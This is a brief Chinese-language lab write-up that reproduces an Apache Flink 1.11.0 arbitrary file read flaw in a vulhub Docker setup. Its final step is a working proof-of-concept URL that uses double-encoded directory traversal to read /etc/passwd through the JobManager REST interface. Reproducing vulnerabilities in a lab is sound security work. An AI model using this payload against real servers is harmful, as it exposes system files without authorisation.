原理:
Apache Flink是一个开源流处理框架,具有强大的流处理和批处理功能。Apache Flink 1.11.0中引入的一项更改,允许攻击者通过JobManager进程的REST接口读取JobManager本地文件系统上的任何文件。
漏洞复现所用工具:
Ubuntu虚拟机,docker,vulhub环境。
漏洞复现:
docker-compose up -d
访问http://ip:8081,环境搭建成功,如下图所示
直接访问POC:
https://IP:8081/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
漏洞复现成功。